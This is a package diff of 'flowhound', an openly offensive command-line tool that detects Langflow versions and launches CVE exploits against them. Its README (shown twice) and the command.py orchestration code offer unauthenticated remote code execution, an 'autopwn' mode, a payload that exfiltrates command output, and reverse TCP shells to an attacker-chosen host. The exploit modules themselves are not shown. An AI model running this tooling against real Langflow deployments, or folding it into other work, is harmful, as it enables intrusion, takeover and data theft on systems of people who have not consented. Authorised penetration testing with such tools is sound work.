flowhound 1.0.1__tar.gz

flowhound-1.0.1/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 Richard Howe
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

flowhound-1.0.1/MANIFEST.in

@@ -0,0 +1,2 @@
+include flowhound/config.env
+recursive-include flowhound/vulnerabilities/io *.db

flowhound-1.0.1/PKG-INFO

@@ -0,0 +1,193 @@
+Metadata-Version: 2.4
+Name: flowhound
+Version: 1.0.1
+Summary: Automated Langflow Exploitation Platform
+Author-email: Richard Howe <richard.howe@ibm.com>
+License: MIT
+Project-URL: Homepage, https://github.com/rmhowe425/FlowHound
+Keywords: security,network
+Classifier: Development Status :: 4 - Beta
+Classifier: Intended Audience :: Developers
+Classifier: Natural Language :: English
+Classifier: Operating System :: OS Independent
+Classifier: Programming Language :: Python
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Programming Language :: Python :: 3.13
+Classifier: Topic :: Software Development :: Libraries :: Python Modules
+Requires-Python: >=3.10
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Requires-Dist: requests==2.32.3
+Requires-Dist: click==8.1.8
+Provides-Extra: dev
+Requires-Dist: pytest; extra == "dev"
+Requires-Dist: pre-commit; extra == "dev"
+Requires-Dist: ruff; extra == "dev"
+Requires-Dist: vulture; extra == "dev"
+Requires-Dist: codespell; extra == "dev"
+Requires-Dist: pyright; extra == "dev"
+Provides-Extra: docs
+Requires-Dist: mkdocs>=1.6.1; extra == "docs"
+Requires-Dist: mkdocs-material>=9.6.14; extra == "docs"
+Dynamic: license-file
+
+# FlowHound
+
+![FlowHound Logo](flowhound/images/logo.png)
+
+Automated exploitation platform for scanning and testing insecure [Langflow](https://github.com/langflow-ai/langflow) deployments.
+
+## Documentation
+
+Full documentation is available at **[flowhound.readthedocs.io](https://flowhound.readthedocs.io/)**.
+
+## Installation
+
+```bash
+pip install .
+```
+
+## Usage
+
+FlowHound exposes two sub-commands: `attack` and `sniff`.
+
+### `attack` — launch exploits against a target
+
+```
+flowhound attack --url <target-url> [OPTIONS]
+```
+
+| Option | Required | Description |
+|---|---|---|
+| `--url` | Yes | URL of the target Langflow instance (e.g. `http://localhost:7860`) |
+| `--username` | No | Langflow username — must be paired with `--password` |
+| `--password` | No | Langflow password — must be paired with `--username` |
+| `--autopwn` | No | Run all matching exploits instead of stopping at the first success |
+| `--proxy` | No | HTTP(s) proxy to route traffic through (e.g. `http://127.0.0.1:8080`) |
+| `--command` | No | Shell command to execute on the target via the `execute_bash_command` payload |
+| `--reverse_shell` | No | `LHOST:LPORT` for a reverse TCP shell payload (e.g. `192.168.1.10:4444`) |
+| `-h`, `--help` | No | Show help message |
+
+> `--command` and `--reverse_shell` are mutually exclusive. `--username` and `--password` must always be supplied together.
+
+### `sniff` — detect version and list applicable CVEs
+
+```
+flowhound sniff --url <target-url> [--proxy <proxy-url>]
+```
+
+| Option | Required | Description |
+|---|---|---|
+| `--url` | Yes | URL of the target Langflow instance |
+| `--proxy` | No | HTTP(s) proxy to route traffic through |
+| `-h`, `--help` | No | Show help message |
+
+### Examples
+
+Unauthenticated attack (stops at first successful exploit):
+```bash
+flowhound attack --url http://target.example.com:7860
+```
+
+Authenticated attack (includes auth-required CVEs):
+```bash
+flowhound attack --url http://target.example.com:7860 --username admin --password secret
+```
+
+Run all matching exploits with a custom command payload:
+```bash
+flowhound attack --url http://target.example.com:7860 --autopwn --command "whoami"
+```
+
+Catch a reverse shell:
+```bash
+flowhound attack --url http://target.example.com:7860 --reverse_shell 192.168.1.10:4444
+```
+
+Route all traffic through a proxy:
+```bash
+flowhound attack --url http://target.example.com:7860 --proxy http://127.0.0.1:8080
+```
+
+Detect the target Langflow version and list applicable CVEs without launching any exploits:
+```bash
+flowhound sniff --url http://target.example.com:7860
+```
+
+## Architecture
+
+![Software Architecture Diagram](flowhound/images/architecture.png)
+
+## How it works
+
+1. **Version detection** — queries `/api/v1/version` on the target to determine the running Langflow version.
+2. **CVE lookup** — queries the bundled `vulnerabilities.json` database for CVE records whose affected version range covers the detected version. Authentication-required exploits are only included when credentials are supplied.
+3. **Exploit dispatch** — dynamically loads each matching exploit module and executes it. Unauthenticated RCE exploits are prioritised. Each exploit is run with a 60-second timeout; timed-out exploits are skipped automatically.
+4. **Payload injection** — when `--command` or `--reverse_shell` is specified the corresponding payload is injected into each exploit rather than the built-in default.
+
+## CVE coverage
+
+| CVE ID | CVSS | Auth Required | Affected Versions |
+|---|---|---|---|
+| CVE-2026-9198 | 10.0 | No | 1.0.0 – 1.10.0 |
+| CVE-2026-0768 | 9.8 | No | 1.4.2 |
+| CVE-2026-19295 | 9.9 | Yes | 1.0.0 – 1.11.1 |
+| CVE-2026-19286 | 9.8 | Yes | 1.11.0 – 1.11.1 |
+| CVE-2026-18729 | 8.8 | Yes | 1.0.0 – 1.11.1 |
+| CVE-2026-5027 | 8.8 | Yes | 1.0.0 – 1.8.4 |
+| CVE-2026-7873 | 8.8 | Yes | 1.0.0 – 1.10.0 |
+| CVE-2026-10134 | 8.8 | Yes | 1.0.0 – 1.9.3 |
+
+## Payloads
+
+| Payload | CLI flag | Description |
+|---|---|---|
+| `execute_bash_command` | `--command "<cmd>"` | Runs an arbitrary shell command and exfiltrates stdout |
+| `reverse_tcp_shell` | `--reverse_shell LHOST:LPORT` | Opens a reverse TCP shell back to the attacker (blocking) |
+
+When no payload flag is given each exploit falls back to its built-in default (runs `id` and exfiltrates the result).
+
+## Project structure
+
+```
+flowhound/
+├── __main__.py                  # CLI entry point; registers attack and sniff commands
+├── cli/
+│   ├── command.py               # attack and sniff Click command definitions
+│   ├── validators.py            # URL, proxy, and CVE input validators
+│   ├── banner.py                # ASCII-art banner
+│   └── message_format.py       # Coloured logging handler (ClickLogHandler)
+└── vulnerabilities/
+    ├── cve/cve.py               # CVE data model; dynamically loads exploit modules
+    ├── io/
+    │   ├── database.py          # Reads vulnerabilities.json; filters by version & auth
+    │   ├── version_detection.py # Queries /api/v1/version; version string ↔ tuple helpers
+    │   └── vulnerabilities.json # Bundled CVE data store
+    ├── exploits/
+    │   ├── base_exploit_class.py  # Abstract base; auto_login / authenticate helpers
+    │   └── cve_2026_*.py          # Individual exploit PoC modules
+    └── payloads/
+        ├── base_payload_class.py  # Abstract base; generate_payload / load_payload interface
+        ├── execute_bash_command.py
+        └── reverse_tcp_shell.py
+```
+
+## Requirements
+
+- Python 3.10+
+- `requests >= 2.32.3`
+- `click >= 8.1.8`
+
+## Running tests
+
+```bash
+pip install pytest
+pytest flowhound/tests/
+```
+
+## Disclaimer
+
+FlowHound is intended for authorised security testing only. Do not run it against systems you do not own or have explicit written permission to test.

flowhound-1.0.1/README.md

@@ -0,0 +1,157 @@
+# FlowHound
+
+![FlowHound Logo](flowhound/images/logo.png)
+
+Automated exploitation platform for scanning and testing insecure [Langflow](https://github.com/langflow-ai/langflow) deployments.
+
+## Documentation
+
+Full documentation is available at **[flowhound.readthedocs.io](https://flowhound.readthedocs.io/)**.
+
+## Installation
+
+```bash
+pip install .
+```
+
+## Usage
+
+FlowHound exposes two sub-commands: `attack` and `sniff`.
+
+### `attack` — launch exploits against a target
+
+```
+flowhound attack --url <target-url> [OPTIONS]
+```
+
+| Option | Required | Description |
+|---|---|---|
+| `--url` | Yes | URL of the target Langflow instance (e.g. `http://localhost:7860`) |
+| `--username` | No | Langflow username — must be paired with `--password` |
+| `--password` | No | Langflow password — must be paired with `--username` |
+| `--autopwn` | No | Run all matching exploits instead of stopping at the first success |
+| `--proxy` | No | HTTP(s) proxy to route traffic through (e.g. `http://127.0.0.1:8080`) |
+| `--command` | No | Shell command to execute on the target via the `execute_bash_command` payload |
+| `--reverse_shell` | No | `LHOST:LPORT` for a reverse TCP shell payload (e.g. `192.168.1.10:4444`) |
+| `-h`, `--help` | No | Show help message |
+
+> `--command` and `--reverse_shell` are mutually exclusive. `--username` and `--password` must always be supplied together.
+
+### `sniff` — detect version and list applicable CVEs
+
+```
+flowhound sniff --url <target-url> [--proxy <proxy-url>]
+```
+
+| Option | Required | Description |
+|---|---|---|
+| `--url` | Yes | URL of the target Langflow instance |
+| `--proxy` | No | HTTP(s) proxy to route traffic through |
+| `-h`, `--help` | No | Show help message |
+
+### Examples
+
+Unauthenticated attack (stops at first successful exploit):
+```bash
+flowhound attack --url http://target.example.com:7860
+```
+
+Authenticated attack (includes auth-required CVEs):
+```bash
+flowhound attack --url http://target.example.com:7860 --username admin --password secret
+```
+
+Run all matching exploits with a custom command payload:
+```bash
+flowhound attack --url http://target.example.com:7860 --autopwn --command "whoami"
+```
+
+Catch a reverse shell:
+```bash
+flowhound attack --url http://target.example.com:7860 --reverse_shell 192.168.1.10:4444
+```
+
+Route all traffic through a proxy:
+```bash
+flowhound attack --url http://target.example.com:7860 --proxy http://127.0.0.1:8080
+```
+
+Detect the target Langflow version and list applicable CVEs without launching any exploits:
+```bash
+flowhound sniff --url http://target.example.com:7860
+```
+
+## Architecture
+
+![Software Architecture Diagram](flowhound/images/architecture.png)
+
+## How it works
+
+1. **Version detection** — queries `/api/v1/version` on the target to determine the running Langflow version.
+2. **CVE lookup** — queries the bundled `vulnerabilities.json` database for CVE records whose affected version range covers the detected version. Authentication-required exploits are only included when credentials are supplied.
+3. **Exploit dispatch** — dynamically loads each matching exploit module and executes it. Unauthenticated RCE exploits are prioritised. Each exploit is run with a 60-second timeout; timed-out exploits are skipped automatically.
+4. **Payload injection** — when `--command` or `--reverse_shell` is specified the corresponding payload is injected into each exploit rather than the built-in default.
+
+## CVE coverage
+
+| CVE ID | CVSS | Auth Required | Affected Versions |
+|---|---|---|---|
+| CVE-2026-9198 | 10.0 | No | 1.0.0 – 1.10.0 |
+| CVE-2026-0768 | 9.8 | No | 1.4.2 |
+| CVE-2026-19295 | 9.9 | Yes | 1.0.0 – 1.11.1 |
+| CVE-2026-19286 | 9.8 | Yes | 1.11.0 – 1.11.1 |
+| CVE-2026-18729 | 8.8 | Yes | 1.0.0 – 1.11.1 |
+| CVE-2026-5027 | 8.8 | Yes | 1.0.0 – 1.8.4 |
+| CVE-2026-7873 | 8.8 | Yes | 1.0.0 – 1.10.0 |
+| CVE-2026-10134 | 8.8 | Yes | 1.0.0 – 1.9.3 |
+
+## Payloads
+
+| Payload | CLI flag | Description |
+|---|---|---|
+| `execute_bash_command` | `--command "<cmd>"` | Runs an arbitrary shell command and exfiltrates stdout |
+| `reverse_tcp_shell` | `--reverse_shell LHOST:LPORT` | Opens a reverse TCP shell back to the attacker (blocking) |
+
+When no payload flag is given each exploit falls back to its built-in default (runs `id` and exfiltrates the result).
+
+## Project structure
+
+```
+flowhound/
+├── __main__.py                  # CLI entry point; registers attack and sniff commands
+├── cli/
+│   ├── command.py               # attack and sniff Click command definitions
+│   ├── validators.py            # URL, proxy, and CVE input validators
+│   ├── banner.py                # ASCII-art banner
+│   └── message_format.py       # Coloured logging handler (ClickLogHandler)
+└── vulnerabilities/
+    ├── cve/cve.py               # CVE data model; dynamically loads exploit modules
+    ├── io/
+    │   ├── database.py          # Reads vulnerabilities.json; filters by version & auth
+    │   ├── version_detection.py # Queries /api/v1/version; version string ↔ tuple helpers
+    │   └── vulnerabilities.json # Bundled CVE data store
+    ├── exploits/
+    │   ├── base_exploit_class.py  # Abstract base; auto_login / authenticate helpers
+    │   └── cve_2026_*.py          # Individual exploit PoC modules
+    └── payloads/
+        ├── base_payload_class.py  # Abstract base; generate_payload / load_payload interface
+        ├── execute_bash_command.py
+        └── reverse_tcp_shell.py
+```
+
+## Requirements
+
+- Python 3.10+
+- `requests >= 2.32.3`
+- `click >= 8.1.8`
+
+## Running tests
+
+```bash
+pip install pytest
+pytest flowhound/tests/
+```
+
+## Disclaimer
+
+FlowHound is intended for authorised security testing only. Do not run it against systems you do not own or have explicit written permission to test.

flowhound-1.0.1/flowhound/__main__.py

@@ -0,0 +1,28 @@
+import logging
+
+import click
+
+from flowhound.cli.command import attack, sniff
+from flowhound.cli.message_format import ClickLogHandler
+from flowhound.vulnerabilities.io.database import Database
+
+_logger = logging.getLogger("flowhound")
+_logger.setLevel(logging.INFO)
+if not _logger.handlers:
+    _logger.addHandler(ClickLogHandler())
+
+CONTEXT_SETTINGS = {"help_option_names": ["-h", "--help"]}
+
+
+@click.group(context_settings=CONTEXT_SETTINGS)
+@click.pass_context
+def main(ctx: click.Context):
+    ctx.ensure_object(dict)
+    ctx.obj = Database()
+
+
+main.add_command(attack)
+main.add_command(sniff)
+
+if __name__ == "__main__":
+    main()

flowhound-1.0.1/flowhound/cli/banner.py

@@ -0,0 +1,45 @@
+from flowhound.cli.message_format import output_banner
+
+
+def banner():
+    output_banner("""
+███████╗██╗      ██████╗ ██╗    ██╗    ██╗  ██╗ ██████╗ ██╗   ██╗███╗   ██╗██████╗
+██╔════╝██║     ██╔═══██╗██║    ██║    ██║  ██║██╔═══██╗██║   ██║████╗  ██║██╔══██╗
+█████╗  ██║     ██║   ██║██║ █╗ ██║    ███████║██║   ██║██║   ██║██╔██╗ ██║██║  ██║
+██╔══╝  ██║     ██║   ██║██║███╗██║    ██╔══██║██║   ██║██║   ██║██║╚██╗██║██║  ██║
+██║     ███████╗╚██████╔╝╚███╔███╔╝    ██║  ██║╚██████╔╝╚██████╔╝██║ ╚████║██████╔╝
+╚═╝     ╚══════╝ ╚═════╝  ╚══╝╚══╝     ╚═╝  ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═══╝╚═════╝
+
+                     Sniffing Insecure Langflow Deployments
+
+
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣶⣾⣿⣿⣶⣦⡀
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
+⠀⠀⠀⠀⠀⠀⠀⣀⣠⣤⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠏
+⠀⠀⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⠉
+⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄
+⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷
+⠀⠀⠀⠀⠀⠀⠻⣿⣿⣿⣿⣿⢟⣥⣶⣶⣶⣄⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇
+⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣏⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
+⠀⠀⠀⠀⠀⠀⠀⠀⢘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇
+⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇
+⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇
+⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⠛⠛⠛⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁
+⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠁
+⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⠟⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠉
+⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠙⠛⠛⠛⣿⣿⣿⠋
+⠀⠀⠀⠀⠀⣰⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿
+⠀⢀⣠⣤⣴⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣿⣿⣇
+⣴⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⣿⣷⡄
+⣿⣿⣿⣿⣿⣿⣿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿
+⢻⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⠃
+⠀⠙⢿⣿⣿⠿⠛⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⣿⣿⡛⠁
+⠀⠀⠈⢿⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⠿⠿⠆
+
+
+                         Every Flow Leaves Tracks.
+""")

flowhound-1.0.1/flowhound/cli/command.py

@@ -0,0 +1,216 @@
+import logging
+from concurrent.futures import ThreadPoolExecutor
+from concurrent.futures import TimeoutError as FutureTimeoutError
+
+import click
+
+from flowhound.cli.banner import banner
+from flowhound.cli.validators import validate_proxy, validate_url
+from flowhound.vulnerabilities.io.database import Database
+from flowhound.vulnerabilities.io.version_detection import get_target_version
+from flowhound.vulnerabilities.payloads import PAYLOAD_MAP
+
+EXPLOIT_TIMEOUT = 60  # seconds before a single exploit attempt is abandoned
+logger = logging.getLogger(__name__)
+
+
+def _get_payload(cmd: str | None, reverse_shell: str | None):
+    payload = None
+
+    if cmd:
+        payload = PAYLOAD_MAP["command"](cmd=cmd)
+        logger.info(f"Using execute_bash_command payload: {cmd!r}")
+    elif reverse_shell:
+        try:
+            lhost, lport_str = reverse_shell.rsplit(":", 1)
+            lport = int(lport_str)
+        except ValueError:
+            raise click.BadParameter(
+                "--reverse_shell must be formatted as LHOST:LPORT (e.g. 192.168.1.10:4444)."
+            )
+
+        if not (1 <= lport <= 65535):
+            raise click.BadParameter("Port must be between 1 and 65535.")
+        payload = PAYLOAD_MAP["reverse_shell"](lhost=lhost, lport=lport)
+        logger.info(f"Using reverse_tcp_shell payload: {lhost}:{lport}")
+
+    return payload
+
+
+def _execute_exploit(
+    exploit_module,
+    base_url: str,
+    username: str,
+    password: str,
+    proxies: dict[str, str] | None,
+    payload,
+    timeout: int = EXPLOIT_TIMEOUT,
+) -> bool:
+    """
+    Executes an exploit module with a cross-platform timeout.
+    """
+    with ThreadPoolExecutor(max_workers=1) as executor:
+        future = executor.submit(
+            exploit_module.exploit,
+            base_url=base_url,
+            username=username,
+            password=password,
+            proxies=proxies,
+            payload=payload,
+        )
+        return future.result(timeout=timeout)
+
+
+@click.command(help="Launch one or more exploits against a Langflow instance.")
+@click.option(
+    "--url",
+    required=True,
+    help="URL of target Langflow instance",
+    callback=validate_url,
+)
+@click.option(
+    "--username", required=False, default="", help="Target Langflow instance username"
+)
+@click.option(
+    "--password", required=False, default="", help="Target Langflow instance password"
+)
+@click.option(
+    "--autopwn",
+    required=False,
+    is_flag=True,
+    default=False,
+    help="Launch all available exploits, instead of stopping at first successful attempt.",
+)
+@click.option(
+    "--proxy",
+    required=False,
+    default=None,
+    help="HTTP(s) proxy to use for network I/O operations",
+    callback=validate_proxy,
+)
+@click.option(
+    "--command",
+    "cmd",
+    required=False,
+    default=None,
+    help="Shell command to execute on the target (uses execute_bash_command payload).",
+)
+@click.option(
+    "--reverse_shell",
+    required=False,
+    default=None,
+    help="LHOST:LPORT for a reverse TCP shell payload (e.g. 192.168.1.10:4444).",
+)
+@click.pass_context
+def attack(
+    ctx: click.Context,
+    url: str,
+    username: str,
+    password: str,
+    autopwn: bool,
+    proxy: str,
+    cmd: str | None,
+    reverse_shell: str | None,
+):
+    banner()
+    db: Database = ctx.obj
+    has_credentials = False
+    logger.info("Checking target Langflow version.")
+
+    if cmd and reverse_shell:
+        raise click.UsageError("--command and --reverse_shell are mutually exclusive.")
+    if any([username, password]) and not all([username, password]):
+        raise click.BadParameter(
+            "`--username` and `--password` must be provided together."
+        )
+    elif username and password:
+        has_credentials = True
+        logger.warning(
+            "Langflow login credentials detected. Results will Include Auth RCE exploit modules."
+        )
+
+    proxies = {"http": proxy, "https": proxy} if proxy else None
+
+    # Determine payload to use
+    payload = _get_payload(cmd=cmd, reverse_shell=reverse_shell)
+
+    # Determine victim langflow version
+    try:
+        target_version = get_target_version(base_url=url, proxies=proxies)
+    except RuntimeError as e:
+        raise click.ClickException(f"Error retrieving target Langflow version: {e!s}")
+
+    # Determine vulns & corresponding exploit modules
+    try:
+        vuln_lst = db.retrieve_vulnerabilities(
+            target_version=target_version, is_auth=has_credentials
+        )
+    except Exception as e:  # noqa: BLE001
+        raise click.ClickException(f"Error retrieving exploits: {e!s}")
+
+    # Fire exploits
+    logger.info(
+        f"{len(vuln_lst)} exploit(s) detected. Prioritizing unauth RCE exploits."
+    )
+    for vuln in vuln_lst:
+        click.echo("")
+        logger.info(
+            f"Launching exploit for {vuln.cve_id} that impacts Langflow versions {vuln.min_impacted_version} through {vuln.max_impacted_version}"
+        )
+        exploit_module = vuln.get_exploit_instance()
+
+        try:
+            result = _execute_exploit(
+                exploit_module=exploit_module,
+                base_url=url,
+                username=username,
+                password=password,
+                proxies=proxies,
+                payload=payload,
+            )
+        except FutureTimeoutError:
+            logger.warning(
+                f"Exploit for {vuln.cve_id} timed out after {EXPLOIT_TIMEOUT}s. Skipping."
+            )
+            result = False
+
+        if not autopwn and result:
+            logger.info("Exploitation successful. Stopping at first attempt.")
+            break
+
+
+@click.command(help="Determine target Langflow version.")
+@click.option(
+    "--url",
+    required=True,
+    help="URL of target Langflow instance",
+    callback=validate_url,
+)
+@click.option(
+    "--proxy",
+    required=False,
+    default=None,
+    help="HTTP(s) proxy to use for network I/O operations",
+    callback=validate_proxy,
+)
+@click.pass_context
+def sniff(ctx: click.Context, url: str, proxy: dict[str, str] | None):
+    db: Database = ctx.obj
+
+    # Determine victim langflow version
+    logger.info("Checking target Langflow version.")
+    try:
+        target_version = get_target_version(base_url=url, proxies=proxy)
+    except RuntimeError as e:
+        raise click.ClickException(f"Error retrieving target Langflow version: {e!s}")
+
+    logger.info(f"Retrieving all known exploits for Langflow version {target_version}:")
+    try:
+        vuln_lst = db.retrieve_vulnerabilities(
+            target_version=target_version, is_auth=True
+        )
+    except Exception as e:  # noqa: BLE001
+        raise click.ClickException(f"Error retrieving exploits: {e!s}")
+
+    for vuln in vuln_lst:
+        logger.info(vuln.exploit_module)